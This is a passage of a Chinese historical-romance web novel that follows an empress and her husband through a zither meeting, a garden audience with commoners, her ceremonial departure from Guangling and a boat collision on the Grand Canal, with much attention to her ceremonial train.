慕容ye轻轻吁了口气,唇角却带着笑意:“江南文采风流,果然名不虚传。更难得的是,确有不少心怀抱负、见识不凡的寒门俊杰。那寒澈,虽稚嫩了些,却是块璞玉。” “只是这身衣裳,着实累人。”她轻轻动了动肩膀,“比与人打上一场还耗神。” 林臻心疼道:“回去便立刻卸了。日后这等场合,或许……” “不,”慕容嫣打断他,语气坚定,“值得。要让天下英才看到这身衣服所代表的极致荣耀,他们才会拼尽全力向这里奔赴。朕累一些,又何妨?” 凤辇驶入行宫,那件绣着万里江山的拖尾最后一次在广陵的夕阳下闪耀着光芒。 第818章 慕容抚琴 广陵之行已近尾声,连日来的巡视、仪典、风波,虽未伤慕容嫣分毫,却也让她心神俱疲。 启程回京的前一日,午后,天空飘起了淅淅沥沥的小雨,洗刷着城市的喧嚣,带来一丝难得的宁静。 慕容嫣屏退左右,只留林臻与麝月在侧。她望着窗外雨打芭蕉,忽然生出几分闲情。 “夫君,听闻广陵城南有座‘听雨阁’,临水而建,藏有前朝孤本琴谱《潇湘水云》,可是真的?”她转过头,眼中带着一丝难得的、属于少女般的好奇与向往。 林臻微笑颔首:“确有此事。听雨阁乃江南大儒苏墨染先生的别业,苏老先生琴艺冠绝江南,性情高洁,不慕权贵,却极爱收藏古谱。嫣儿若有兴致,或可一试。” 慕容嫣沉吟片刻。她自幼酷爱音律,琴艺师从大家,于政务之余,抚琴是她少有的放松方式。听闻有孤本琴谱,难免心动。 “只是…”林臻略有迟疑,“苏老先生立有规矩,听雨阁不迎官宦,只待知音。便是知府刺史前去,也常吃闭门羹。我们若以真实身份前往,恐……” 慕容嫣闻言,反而唇角微扬:“不迎官宦,只待知音?甚好。那便不以身份,只以琴友之名前往叨扰。麝月,去取我的‘焦尾’来。” 她顿了顿,看向自己身上常穿的宫装,又看了看窗外细雨,忽然道:“更衣。穿那套‘青鸾衔雨’的礼服。” 林臻微讶。那套“青鸾衔雨”礼服,并非朝服,但亦是极为正式隆重的宫装,以深青色素锦为底,上用银线、淡蓝及浅碧丝线,绣以青鸾展翅穿越雨幕云纹的图案,清雅华贵至极。 最为特别的是,它亦配有一条长约两丈的拖尾,拖尾上绣的是烟雨朦胧的江南山水,与主体衣裙浑然一体,走动间如携一片江南烟雨,意境超然。 这套礼服她极少穿着,只因同样沉重繁复。 “嫣儿,既是微服寻访,何以……”林臻不解。 慕容嫣却道:“苏老先生是雅士,见惯了达官显贵,也见惯了布衣素服。若以寻常装扮前往,反倒显得刻意,亦不够尊重。这套‘青鸾衔雨’,既非帝王明黄,不至以势压人,其清雅韵致亦合江南雨景琴韵,更能体现对主人与琴道的敬重。况且,” 她微微一笑,“既是以琴会友,便当以最佳仪容相见,方不负知音二字。” 很快,慕容嫣换上了那身“青鸾衔雨”礼服。 深青色的衣裙衬得她肌肤胜雪,银线绣成的青鸾与云雨纹路在略显昏暗的光线下流转着含蓄的光华。 那两丈长的拖尾上,烟雨江南的图景徐徐展开,山峦朦胧,水波潋滟,仿佛将窗外雨意织入了裙裾之间。 她未戴沉重凤冠,只将青丝绾成惊鸿髻,簪了一支青玉步摇并几朵珍珠小簪,清丽绝伦,又威仪自生。 她怀抱用锦囊包裹的古琴“焦尾”,对林臻道:“夫君,便委屈你,暂做我的执伞随从了。” 林臻看着她这般打扮,眼中满是惊艳与温柔,接过麝月递来的油纸伞,笑道:“能为夫人执伞,是在下的荣幸。” 三人乘一辆不起眼的青篷马车,悄然来到城南听雨阁。 那是一座临水而建的二层小楼,白墙黛瓦,掩映在翠竹之中,清幽至极。 叩响门环,一名小童出来应门。 林臻上前,温言道:“小哥叨扰,我家夫人乃京师琴友,游历至此,听闻苏老先生藏有《潇湘水云》孤谱,心生向往,特冒昧前来,盼能请教一二,不知先生可否拨冗一见?”言辞恳切,毫无架子。 小童见慕容嫣虽面覆轻纱(为免惊动),但身姿仪态、所着服饰皆非凡品,尤其是身后那幅长长的、绣着烟雨山水的拖尾,更是他从未见过的清雅华贵,心知来人必定不普通,便道:“请稍候,容我禀报先生。” 片刻后,小童回来,语气恭敬了许多:“先生请夫人入内一叙。” 步入听雨阁,只见院内曲径通幽,雨打芭蕉,声声入耳。 堂屋之内,一位清癯矍铄、须发皆白的老者正坐在一张古琴前,想必便是苏墨染先生。 他见慕容嫣进来,目光在她身上那件绣着青鸾烟雨、拖着两丈长江南山水图卷的礼服上停留片刻,眼中闪过一丝惊异与欣赏,却并未因这华服而有所卑亢,只是微微颔首:“夫人请坐。听闻夫人为《潇湘水云》而来?” 慕容嫣敛衽一礼,姿态优雅:“冒昧打扰先生清静。小女子确为寻此天籁之音而来,若能得闻先生雅奏,或借谱一观,便是三生有幸。” 她声音清越,言辞得体,毫无居高临下之态。 苏老先生抚须道:“《潇湘水云》乃老夫心爱之物,等闲不示外人。夫人既深谙琴道,不妨先奏一曲,若果然是知音,老夫自当奉上。” 这便是考较了。 慕容嫣微微一笑:“敢不从命。” 她示意林臻将琴案安置好,亲自解开锦囊,取出那具造型古朴、桐木温润的焦尾琴。 她端坐于琴前,那长长的烟雨拖尾便自然铺陈在她身后地面,与这清雅的环境奇异地融合。她凝神静气,指尖轻拨。 “叮咚……”琴音乍起,便如清泉落涧,空灵澄澈。 她奏的是一曲《高山流水》,琴声时而巍峨高古,时而潺湲流转,意境高远,技艺更是炉火纯青,将曲中寻觅知音的真意表达得淋漓尽致。 苏老先生起初只是静静聆听,渐渐地面色变得凝重,眼中欣赏之色愈浓。 待到一曲终了,余音绕梁,他竟抚掌赞叹:“好!好指法!好意境!夫人琴艺,已臻化境,闻此一曲,老夫竟有豁然开朗之感!这《潇湘水云》,合该为夫人奏响!” 老人竟是毫不迟疑,起身亲自从内室取出一本纸张泛黄、字迹古朴的琴谱,珍重地放在慕容嫣面前。 慕容嫣仔细翻阅,眼中光彩连连,显然沉醉于这孤谱的精妙之中。两人就琴谱指法、意境演绎探讨起来,竟是越谈越投机,全然忘了时间。 林臻静立一旁,为慕容嫣执伞挡去偶尔飘入窗棂的雨丝,看着她在琴道世界中神采飞扬的模样,唇角始终含着温柔的笑意。 麝月则小心地侍立在门口,看着夫人身后那幅长长的拖尾在交谈微动间轻轻拂过光洁的地板,如同流动的水墨画。 末了,苏老先生慨叹:“今日得遇夫人,方知天外有天。老夫愿为夫人奏一曲《潇湘水云》,请夫人指正。” 老人净手焚香,屏息凝神,指尖在琴弦上跳动起来。琴音起初如云水朦胧,渐次开阔,仿佛见烟波浩渺的云水之间,蕴含着无限的忧思与情怀,正是南宋郭楚望寄情山水、感怀时事的代表作。 慕容嫣听得如痴如醉,完全沉浸在那苍茫深邃的乐声之中。 一曲奏罢,满室寂然,唯有窗外雨声相伴。 慕容嫣良久才回过神来,衷心赞道:“先生妙手,深得曲中三昧,苍茫浩渺,忧思深远,闻之令人涕下。” 苏老先生摇头笑道:“夫人过誉了。今日与夫人一晤,方觉此曲有了真正的知音。若夫人不弃,这本琴谱,便赠予夫人了。” 慕容嫣大惊:“此乃先生珍藏,岂敢……” “宝剑赠英雄,红粉赠佳人。这琴谱,唯有在夫人这般妙手之下,方能不负其价值。留在老夫处,不过是蒙尘罢了。”苏老先生态度坚决。 慕容嫣推辞不过,只得郑重收下,心中感动,便道:“先生厚赠,无以为报。便以此琴,为先生再奏一曲《梅花三弄》,以表谢意与敬意如何?” “求之不得!” 于是,清越的琴声再次响起,于这江南雨日的听雨阁中,萦绕不绝。 直至暮色降临,慕容嫣三人才告辞离去。苏老先生亲自送至门口,看着慕容嫣登上马车,那绣着烟雨江南的两丈拖尾被小心收起,眼中充满了遇见知音的欣慰。 马车缓缓行驶在湿漉漉的青石路上。 慕容嫣抱着琴谱,脸上带着难得的、轻松而满足的笑意:“今日方知,人间至乐,莫过于此。” 林臻握着她的手,微笑道:“可见这身衣裳,倒是穿对了。” “是啊,”慕容嫣低头看了看那青鸾烟雨的纹样,“以诚待人,以艺会友,华服非但不是隔阂,反是敬意的桥梁。” 回到行宫,慕容嫣仍沉浸在得遇知音与获赠孤谱的喜悦中。 她甚至忘了卸下那身沉重的礼服,便坐在灯下,迫不及待地翻阅起《潇湘水云》谱来,那长长的拖尾逶迤在地,上面的江南山水在灯下显得愈发宁静悠远。 林臻没有打扰她,只是默默地为她斟上一杯热茶,然后坐在一旁,静静地陪伴着。 窗外,雨声渐歇,一轮明月破云而出,清辉洒满庭院,也透过窗棂,温柔地笼罩着灯下研读琴谱的女帝,和她身后那幅如诗如画的“江山”。 这一夜,没有阴谋,没有刺杀,只有琴韵、书香、知音与月光,以及那件承载了文化重量与人间温情的、绣着烟雨江南的两丈拖尾。 第819章 沁芳园 广陵城外的官道旁,有一处依山傍水的皇家别苑,名为“沁芳园”。 回銮前一日,慕容嫣并未在行宫处理政务,而是移驾于此,名义上是赏玩园景,实则欲借此清净之地,稍事休憩。 时值初夏,园内繁花似锦,绿树成荫,更有引活水而成的溪流潺潺,景致宜人。 慕容嫣的心情也难得放松,甚至允了林臻的提议,在园中最大的水榭“揽月轩”内设一小宴,只他们夫妻二人对酌,麝月在一旁伺候。 然而,慕容嫣并未换上轻便的常服。 她依旧选择了那身明黄缂丝九龙四凤纹的凤袍,戴上了略轻便些的珠冠(虽仍是凤冠制式,但省略了部分最沉重的金玉装饰),那两丈长的云锦拖尾自然也一同穿着。 只是在这园林环境中,那绣着万里江山的巨大拖尾,不再仅仅是威仪的象征,更仿佛成了一件与这山水园林奇异地融合的艺术品。 “夫君是否觉得奇怪,”慕容嫣执起白玉酒杯,透过轩窗望着外面嬉戏的游鱼,唇角含笑,“在此闲适之处,朕仍穿着这身沉重朝服?” 林臻为她斟上一杯冰镇的梅子酿,微笑道:“嫣儿如此,必有深意。” 慕容嫣轻轻晃动着杯中琥珀色的液体,目光悠远:“广陵之行将尽。这一路,朕或威严,或亲民,或遇险,或抚琴……但这身帝王衣冠,始终是朕最正式的面目。今日于此园中,朕想以这最正式的面目,与你独处,亦让这江山社稷的影子,落在这闲适山水之间。仿佛……” 她顿了顿,寻找着合适的词句,“仿佛寻常夫妻,只是我们的家,稍微大了些。” 林臻心中一动,握住她放在桌上的手:“我们的家,便是这天下。” 慕容嫣反手与他十指相扣,眼中柔情流转。 正是这份无论她身着何衣、身处何地都始终不变的深情,支撑着她扛起这万里江山的重担。 然而,帝王的闲暇总是短暂。 酒过三巡,园外隐约传来一阵喧哗,似乎有争执之声。 麝月立刻机警地出去查看,片刻后回来,面色有些为难:“陛下,狮子,园外来了许多百姓,跪地请愿,想……想亲眼见一见陛下天颜,沾沾皇家福泽。” 原来,帝后驻跸沁芳园的消息不知怎的传了出去,附近乡邻激动万分,纷纷携老扶幼前来,希望能远远瞻仰一下天颜。 守园侍卫自然阻拦,双方便有些僵持。 慕容嫣与林臻对视一眼。 “百姓淳朴,此心可悯。”慕容嫣放下酒杯,“但朕若轻易现身,恐坏了规矩,日后各地效仿,难以应对。” 林臻沉吟道:“若全然不见,又恐寒了百姓之心。不若……折中处置?” 慕容嫣明眸一闪,已有计较:“传令,朕不便出园相见。但可将这水榭四面竹帘卷起,朕便在此间饮宴读书,允百姓于园外指定区域远远观望。不得喧哗,不得逾越界限。” 这既全了百姓心愿,又保持了皇家距离与威严。 命令传下,园外百姓顿时欢声雷动,纷纷跪谢天恩,然后在侍卫引导下,井然有序地聚集在离水榭约百步之外、隔着一片宽阔草坪和水池的对岸。 竹帘缓缓卷起,揽月轩如同一个打开的华丽舞台。 慕容嫣依旧端坐席间,林臻坐于其侧。 那身明黄凤袍与两丈长的江山拖尾,在轩内明亮的光线下,毫无保留地呈现在百姓眼前。 远处的百姓们顿时发出了压抑着的、充满敬畏的惊叹声。 他们从未如此清晰地见过帝王衣冠,尤其是那幅铺陈在慕容嫣身后、华丽壮阔到极致的江山拖尾,在阳光下闪烁着神圣的光芒,深深震撼了每一个人。 许多老人甚至激动得热泪盈眶,不住叩首。 慕容嫣并未刻意摆出威仪姿态,她只是继续与林臻轻声交谈,偶尔举杯,或是指着窗外的某处景致低语,神情平和,甚至带着一丝浅笑。 林臻则体贴地为她布菜斟酒,两人之间流转着自然而温馨的默契。 这幅帝后和谐、于华美水中享闲暇的画面,隔着山水林木,形成了一幅既庄严又亲和的奇异景象,深深地印入了所有观望百姓的心中。 那长长的拖尾,也不再是冰冷的权力象征,仿佛成了这美好画面的一部分,连接着轩内的帝后与轩外仰望的黎民。 这时,对岸百姓中,一个约莫五六岁、扎着红头绳的小女孩,似乎看得痴了,竟挣脱了母亲的手,摇摇晃晃地朝着水榭方向跑了几步,嘴里还咿咿呀呀地喊着什么,手里紧紧攥着一把刚采的野花。 侍卫顿时紧张,欲上前阻拦。 慕容嫣也看到了那小小的身影,她微微抬手制止了侍卫。 她看着那小女孩毫无畏惧、满是好奇与向往的纯净眼神,心中最柔软的地方被触动了。 她对林臻低语一句,林臻点头,对麝月吩咐了一声。 麝月立刻快步走出水榭,来到岸边,并未靠近那小女孩,只是隔着小池,柔声对那边焦急的母亲喊道:“大嫂不必惊慌!陛下见小妹妹伶俐可爱,问可否允她近前,赐下果饵?” 那母亲和周围百姓都惊呆了,随即是无比的激动与荣幸。母亲连连点头。 麝月这才绕过水池,来到对岸,先是对百姓们福了一礼,然后才微笑着牵起那小女孩的手,柔声道:“小妹妹,随我来,陛下要请你吃糖呢。” 在无数羡慕的目光中,麝月牵着那又好奇又有点害羞的小女孩,缓缓走回水榭。 小女孩走到轩口,看着端坐在席上、身着华美光芒凤袍的慕容嫣,似乎有些被这气势吓到,停下了脚步,眨着大眼睛,不敢上前。 慕容嫣微微一笑,尽量让自己的神情显得更加柔和。她甚至微微向前倾身,放缓了声音,隔着那段距离问道:“小妹妹,你手里拿的是什么呀?” 小女孩怯生生地举起那把有些蔫了的小野花。 慕容嫣眼中笑意更深:“真好看。是送给我的吗?” 小女孩犹豫了一下,竟然点了点头。 慕容嫣便对麝月示意。麝月鼓励地轻轻推了推小女孩的后背。 小女孩这才鼓起勇气,迈着小短腿,蹬蹬蹬地跑进轩内,一直跑到慕容嫣的席前,将那把野花举得高高的。 所有人都屏息看着。 慕容嫣并未立刻去接花,而是先伸出戴着精致护甲的手,非常非常轻地摸了摸小女孩的头,动作温柔无比。 然后,她才接过那束不起眼却饱含童真的野花,放在鼻尖轻轻一嗅,赞道:“很香,谢谢你。” 她从案上取了一碟精致的御用点心,亲手递到小女孩面前:“这个给你吃,好不好?” 小女孩眼睛一亮,接过点心,甜甜地笑了,露出缺了颗门牙的牙床,含糊不清地说:“谢谢仙女姐姐!” 这一声“仙女姐姐”,让慕容嫣不由莞尔,连一旁的林臻也笑了起来。 慕容嫣又让麝月拿了些糖果和一枚小巧的如意金锁片,赏给小女孩,这才让麝月将她好好送回去。 小女孩抱着赏赐,欢天喜地地被麝月牵回对岸,立刻被兴奋的家人和乡邻围住。 这一幕,远远地对所有百姓清晰可见。 那一刻,慕容嫣身上那耀眼的凤袍和威严的拖尾,似乎都被那温柔的微笑和轻抚孩童的动作柔化了。 在百姓眼中,那不再是遥不可及的帝王象征,而是一位美丽、仁慈、甚至会对着孩童微笑的“仙女姐姐”。 无形的隔阂,仿佛被这童真一举打破。 百姓们的欢呼和感恩声更加真诚热烈。 慕容嫣坐回席间,看着手中那束小小的野花,对林臻轻声道:“夫君,你看,这江山之美,有时便在这些细微之处。” 林臻目光温柔地看着她:“而这江山之幸,在于有你。” 此后,慕容嫣又在水榭中坐了片刻,方才命人放下竹帘。 回行宫的路上,她看着窗外飞速掠过的田野,忽然道:“回京后,着内务府在京郊也寻一处类似的园子,不必太大,清雅即可。每年春夏,可定期开放一日,允百姓远远观望皇家园林景致,或许……也可择选稚龄孩童,赐些瓜果糖食。” 林臻深知她此举意在拉近皇室与百姓距离,柔化皇家威严形象,便点头应下:“好,我来安排。” 凤辇之内,慕容嫣微微阖眼,指尖仿佛还残留着抚摸那孩童发丝的柔软触感,以及那束野花的淡淡清香。 那身沉重的凤袍拖尾依旧穿在身上,但她觉得,今日,它似乎比往日……轻盈了些许。 第820章 坐船回家 广陵城外,运河码头。 今日的码头,与往日截然不同。净水泼街,黄土垫道,旌旗招展,甲胄鲜明的禁军士兵沿路肃立,一直从城门延伸到码头最宽阔的广场。广场中央,早已搭建起高大的钦差仪门和香案。 广陵城文武百官、士绅名流,乃至许多得到消息的普通百姓,早已黑压压地跪满了码头内外指定的区域。空气中弥漫着一种盛大、庄严而又夹杂着些许不舍的气氛。 今日,是女帝慕容嫣结束南巡、启程回銮京师的日子。 吉时已到,钟鼓齐鸣,号角声响彻云霄。 在万千目光的注视下,女帝的仪仗缓缓出现在城门洞口,向着码头行进。 慕容嫣端坐于三十六人抬的龙凤銮驾之上,?再次穿上了那身极致隆重、代表最高皇权的明黄缂丝九龙四凤朝服,头戴九龙四凤冠,十二旒白玉珠垂落,遮蔽天颜,只余无上威仪。 那长达两丈、以最上等云锦织就、绣着万里江山社稷图的拖尾,由十六名精心挑选的宫女分为两列,以最恭谨虔诚的态度双手托捧着,在銮驾之后迤逦铺展,宛如一条流动的、金色的、承载着整个天下的河流。 阳光毫无保留地倾泻下来,照耀在那明黄的缂丝、金色的龙纹、七彩的江山绣卷以及点缀其上的珍珠宝石之上,反射出令人无法直视的璀璨光芒,神圣,威严,至高无上。 百姓们屏息凝神,深深地跪伏下去,不敢抬头,却又忍不住用眼角的余光去追逐那毕生难见的辉煌景象。许多老人激动得浑身颤抖,泪流满面。 銮驾在广场中央的香案前稳稳停下。 林臻今日亦是一身最高规制的国公朝服,玄色为底,金纹肃穆,他率先下马,侍立在銮驾之侧。 内侍官高唱:“陛下驾到——跪——!” “万岁!万岁!万万岁!”山呼海啸般的声浪冲天而起,震得人耳膜嗡嗡作响。 慕容嫣在林臻的搀扶下,缓缓步下銮驾。 每一步都沉稳如山,那沉重的凤冠和朝服似乎并未给她造成任何困扰。 那两丈长的拖尾随着她的移动,在十六名宫女的托捧下,平稳地滑过红毡铺就的地面,江山图卷徐徐展开,仿佛将帝国的版图呈现在所有臣民面前。 她走到香案前,焚香祷告,祈求河神保佑漕运畅通,国泰民安。仪式庄重而繁琐,但她一丝不苟,每一个动作都精准而充满威仪。 礼毕,广陵刺史率众官员上前,敬献送别酒,并代表全城百姓献上万民伞和记载着此次南巡广陵功绩的功德碑文拓本。 慕容嫣接过酒杯,指尖如玉,她微微抬手,示意众人平身。 透过摇曳的玉旒,她的目光扫过黑压压的跪伏的臣民,清越而平和的声音通过内力远远传开,清晰地送入每个人的耳中: “朕此次南巡广陵,见漕运畅通,商贸繁盛,百姓安乐,文风鼎盛,朕心甚慰。此乃尔等官员勤政爱民、广陵百姓辛勤劳作之功。望尔等日后,依旧恪尽职守,安居乐业,使我大周江山,永固昌盛!” “臣等谨遵圣谕!万岁!万岁!万万岁!”官员百姓再次叩首,声浪如潮。 随后,慕容嫣登上了早已准备妥当的皇家龙舟。龙舟高大雄伟,装饰华丽,如同水上的移动宫殿。 她立于龙舟船首最高处的平台之上,江风吹拂,吹动她明黄的袍袖和凤冠上垂下的珠旒,却吹不散她那如山岳般稳固的威仪。 那两丈长的拖尾被宫女们小心地调整位置,在她身后如孔雀开屏般铺展开来,迎着江风与阳光,上面的万里江山图仿佛被注入了生命,熠熠生辉,与眼前真实的运河江山交相辉映,构成了一幅极具冲击力的画面。 林臻站在她身侧稍后的位置,默默守护。 龙舟缓缓起航,庞大的船队随之而动。 岸边的百姓们再次跪拜送别,许多人不舍地追着龙舟跑了一段,直到被侍卫拦下。 慕容嫣一直立于船首,望着逐渐远去的广陵城郭和岸边久久不愿散去的人群,久久无言。 直到广陵城的轮廓彻底消失在视线之中,她才缓缓转身,对林臻轻声道:“夫君,我们回去吧。” 回到龙舟内部最宽敞华丽的舱室,慕容嫣才微微松了口气,在宫女的侍奉下,小心翼翼地将那沉重无比的凤冠卸下。顿时,感觉整个头颅都轻盈了许多。 她走到窗边,望着窗外运河两岸不断后退的田园风光,轻轻揉着被凤冠压得酸痛的额角。 林臻走过来,自然而然地接手,用温热的手指力道适中地为她按摩着脖颈和肩膀。 “累了?”他低声问,语气里满是心疼。 “嗯。”慕容嫣闭上眼,享受着他的按摩,声音带着一丝疲惫后的慵懒,“这身衣裳,好看是好看,就是太耗神费力。站这一会儿,比练一趟剑还累。” 林臻轻笑:“可嫣儿穿着它,便是这天下最耀眼的存在,足以震慑人心,凝聚万民。” 慕容ye睁开眼,回头看他,眼中带着狡黠:“夫君如今也会说这些哄人的话了?” “肺腑之言。”林臻认真道,目光落在她被卸下放在一旁托盘里的凤冠上,“只是,我有时会想,这冠冕袍服如此之重,它所代表的江山,其重又何止万钧?你每日扛着,可曾觉得累?” 慕容嫣沉默了片刻,目光重新投向窗外奔腾的运河。 “累。”她坦诚道,声音很轻,“如何不累?批不完的奏章,决断不完的政务,平衡不完的势力,还有那些藏在暗处的冷箭。” 她想起了广陵的几次风波。 “但,”她话锋一转,语气变得坚定,“看到广陵码头那些百姓安居乐业的模样,看到瞻园里那些学子眼里的光,听到听雨阁苏老先生那一曲《潇湘水云》,甚至感受到那个小女孩头发柔软的触感,便觉得,这一切的沉重都是值得的。” 她转过身,看向林臻,眼神温柔而充满力量:“这江山之重,非我一人独扛。有贤臣良将,有黎民百姓,还有你,我的夫君,始终在我身边,与我一同托着这江山社稷的另一端。” 她说着,目光落向那件被宫女们开始小心收拢起来的明黄凤袍和那幅巨大的拖尾。 “便如这件袍子,”她走过去,伸手轻轻抚摸着那光滑的缂丝和精致的绣纹,“它固然沉重,但若没有那十六名宫女稳稳地托着这拖尾,朕亦无法行动自如,展现威仪。这天下,也是如此。” 林臻走到她身边,与她一同看着那件象征着无上权力与责任的华服。 “我愿永远做那托着你拖尾的人。”他握住她的手,声音低沉而郑重,“让你能心无旁骛,向前而行。” 慕容嫣反手与他十指紧扣,唇角扬起一抹绝美的、卸下了所有威压的、只属于妻子的笑容:“我知道。所以,我从不害怕。” 龙舟破开水面,向着北方京师的方向平稳驶去。船舱内,帝后二人相依而立的身影,被窗外投入的阳光拉得很长,柔和地笼罩在那件已开始被仔细收纳的、绣着万里江山的两丈拖尾之上。 广陵之行,始于威仪,历经风波,终于温情与更深的羁绊。而那件见证了所有的凤袍拖尾,也完成了它此次南巡最后的使命,静静地等待着下一次,承载着它的主人,去面对那紫禁城中的风云变幻。 第821章 异变突生 皇家龙舟舰队沿着运河主干道,浩浩荡荡向北而行。船只高大,行驶平稳,若非窗外不断后退的岸景,几乎令人忘却正身处水上。 慕容嫣在舱室内,并未换上常服。 她深知,只要仍在行程之中,随时可能有地方官员于沿途重要码头迎驾觐见,或需处理紧急政务,保持朝服在身是最稳妥的选择。 因此,她依旧穿着那身明黄缂丝九龙四凤朝服,只是卸下了最沉重的凤冠,换上了一顶略轻便但仍显威仪的珠冠。 那两丈长的云锦拖尾,则被宫女们精心整理后,部分铺陈在她所坐的软榻之后,部分逶迤于光洁的舱板之上,如同一条栖息的金色巨龙,江山图卷在透过舷窗的阳光照射下,静静流淌着光华。 她正伏案批阅着从京师由快马送来的部分紧要奏章。 林臻坐于一旁,时而为她磨墨,时而就某些政务提出自己的见解。舱室内檀香袅袅,只剩下书页翻动和笔尖划过宣纸的沙沙声,气氛宁静而专注。 航行至午后,龙舟稍稍减缓了速度。 门外传来内侍恭敬的禀报声:“启禀陛下,世子,前方将至淮安府境,漕运总督及淮安知府率属官于岸上设了香案,恳请迎驾,敬献方物,叩谢天恩。” 慕容嫣从奏章中抬起头,揉了揉眉心。 她知道这是地方官场的惯例,虽稍显繁琐,却也能借此安抚地方,示以恩宠。 “准。”她淡淡应道,“传令,龙舟暂缓航行,允其登船觐见。但一切从简,不得延误过多行程。” “是。” 龙舟缓缓向岸边靠拢。慕容嫣起身,林臻细心地为她整理了一下袍袖和珠冠。 宫女们迅速上前,将铺陈的拖尾再次小心托捧起来。 舱门打开,慕容嫣步出舱室,来到龙舟前甲板特意布置的御座之前。 江风立刻拂面而来,吹动她明黄的袍袖和珠冠上的流苏,更显身姿挺拔,气度非凡。那两丈长的拖尾在她身后被宫女托捧着,江风掠过,其上绣着的金色丝线波光粼粼,山河图案仿佛也随之生动起来。 漕运总督与淮安知府身着朝服,诚惶诚恐地登船,于甲板上行三跪九叩大礼,献上当地特产与歌功颂德的表文。 慕容嫣端坐受礼,言辞温和却保持距离,嘉勉了几句,询问了些漕运与地方民情,便示意赏赐,结束了这次短暂的接见。整个过程庄重得体,无可指摘。 地方官员感恩戴德地退下后,龙舟再次起航。 慕容嫣并未立刻返回舱室。她难得立于船头,凭栏远眺。运河两岸,田野阡陌纵横,村落炊烟袅袅,一片初夏的蓬勃生机。她看着这景象,心中不禁感慨:这万里江山,便是由这无数平凡的村落、辛勤的百姓所构成。 林臻默默站在她身侧稍后的位置,为她挡去一些侧面的江风,目光同样望向远方,带着一丝不易察觉的忧虑。他注意到,运河的水位似乎比来时下降了些许,水流也略显滞缓,这并非好兆头,往往意味着上游干旱或漕渠需要疏浚。 就在这时,异变突生! 龙舟正行驶在一段略显狭窄的河道弯处,水流在此变得有些湍急复杂。突然,船底传来“咚”一声沉闷而剧烈的撞击声! 整个庞大的龙舟都为之猛地一震! “咯吱——!” 剧烈的木头摩擦声令人牙酸!龙舟仿佛撞上了水下的什么巨大障碍物,船身猛地向一侧倾斜! 事发极其突然! 甲板上的侍卫、宫女猝不及防,顿时惊呼着东倒西歪!那几名托捧着巨大拖尾的宫女更是花容失色,脚下不稳,惊呼着向后倒去! 沉重的拖尾瞬间失去平衡,猛地向下坠滑,眼看就要拉扯着慕容嫣向后摔倒,甚至可能被拖累得坠入河中! “陛下!” “保护陛下!” 一片混乱之中,慕容嫣虽也因这突如其来的撞击和倾斜而身形一晃,但她超乎常人的下盘功夫与反应速度在此刻展现得淋漓尽致! 就在船身倾斜、拖尾下坠的瞬间,她重心猛地一沉,双足如同铁钉般牢牢铆在微微倾侧的甲板之上!同时,她腰腹核心力量爆发,硬生生稳住了身形! 对于那向她倒来、并带来巨大拉扯力的拖尾和宫女,她并未惊慌失措。只见她听风辨位,头也未回,右手猛地向后一探,精准无比地一把抓住了拖尾上缘一处坚固的刺绣接缝处! 这一抓,蕴含着极强的指力和臂力,竟生生止住了拖尾下坠之势! 同时,她左臂一展,揽住了身旁一名即将摔倒的托尾宫女,助其稳住身形。 整个过程快如电光石火!从撞击发生到慕容嫣稳住自身并控制住拖尾,几乎只在两三个呼吸之间! 待到船身在那次剧烈撞击和倾斜后,凭借其庞大体积和设计逐渐恢复大部分平稳时,众人惊魂未定地看去,只见女帝陛下依旧稳稳立于船头,一手抓着身后的拖尾,一手扶着宫女,神色冷峻,目光如电地扫视着江面与船只。 那明黄的凤袍在江风中猎猎作响,?巨大的拖尾虽略有凌乱,却仍被她牢牢掌控,未曾落地,更未曾造成更大的混乱。 “嫣儿!”林臻第一时间冲到她的身边,脸色发白,急切地查看她是否受伤。他方才也被晃得一个趔趄,稳住身形后立刻看向她。 “朕无事。”慕容嫣松开抓住拖尾的手和扶着的宫女,语气沉静,“速查,何事撞船?船只受损情况如何?人员可有伤亡?” 她的冷静迅速感染了所有人。侍卫们立刻行动起来,检查船只,安抚人员,探查情况。 很快回报:龙舟似乎撞上了枯水期潜藏于河道弯处的一大段沉木或暗礁,船底略有刮损,但无漏水之虞,人员除几人磕碰轻伤外,并无大碍。 慕容嫣闻言,面色稍霁,但眸光依旧锐利。她看向惊魂未定的漕运总督和淮安知府——他们还没来得及下船,方才也险些摔倒。 “漕运河道,疏浚清障,乃尔等首要之责!”她的声音透过江风,带着不容置疑的威严,“此等隐患,若非朕之座驾尚且坚固,换作寻常漕船,岂不船毁人亡?尔等失察之罪,回京后自有论处!” 两位地方大员吓得扑通跪地,冷汗涔涔,连连叩首请罪:“臣等万死!臣等即刻派人彻底清查河道,绝不敢再有此疏漏!” 慕容ye冷哼一声,不再多看他们一眼。她转向林臻,低声道:“看来运河漕运,光看广陵那般繁华节点还不够,这些水下的细节,更是关乎人命漕粮的大事。” 林臻点头,心中已将此事记下,准备回京后重点督查漕运清障事宜。 经此一吓,宫女们更是战战兢兢,万分小心地重新将慕容嫣的拖尾整理平整托捧好。 慕容嫣再次将目光投向运河。经过这番变故,她看到的不仅是两岸的田园风光,更看到了水面之下可能隐藏的危机与地方官吏可能存在的懈怠。 “传令,”她忽然开口,“后续行程,凡遇重要漕运隘口、水闸等处,龙舟稍作停留,朕要亲自看一看河道维护实情。” “是!” 龙舟继续航行,但气氛已与之前不同。慕容嫣依旧立于船头,?华美的凤袍与拖尾在风中飘扬,但她此刻的身影,在众人眼中,除了威严,更添了一份能于风浪中稳坐钓鱼台的沉静与力量。 林臻站在她身边,看着她坚毅的侧脸,轻声道:“刚才,吓到我了。” 慕容嫣微微侧头,看向他,眼中的锐利化为一丝柔和:“夫君忘了?我可是能在千军万马中稳住阵脚的人,区区一段沉木,奈何得了我?” 她顿了顿,声音低了些许:“只是这身衣裳,方才若真落了水,或是沾了泥污,倒是可惜了。” 林臻看着那依旧光华璀璨的拖尾,笑了笑:“衣裳再珍贵,不及你万一。” 慕容嫣唇角微扬,重新望向前方。 运河水流看似平静,其下却暗流涌动。正如这锦绣江山,表面繁华之下,亦需时刻警醒,勤勉治理。 而她,身着这身沉重的凤袍拖尾,便要做那定鼎江山、明察秋毫之人。 第822章 漕运之重 龙舟舰队依照慕容嫣的旨意,在后续行程中,凡遇重要漕运关隘、水闸或河道繁忙处,便酌情缓速或短暂停靠。 她并非每次都会现身,但会命林臻或贴身侍卫前往查看实情,听取当地漕吏及船工的口述,则于舱室内,透过舷窗默默观察。 这日,龙舟行至鲁南地界一处重要水闸——安山闸。 此闸调控周边数县灌溉与漕运水位,至关重要。 时值初夏,正是农田需水之际,闸口处聚集了大量等待过闸的漕船与民船,喧闹非凡,秩序略显混乱。 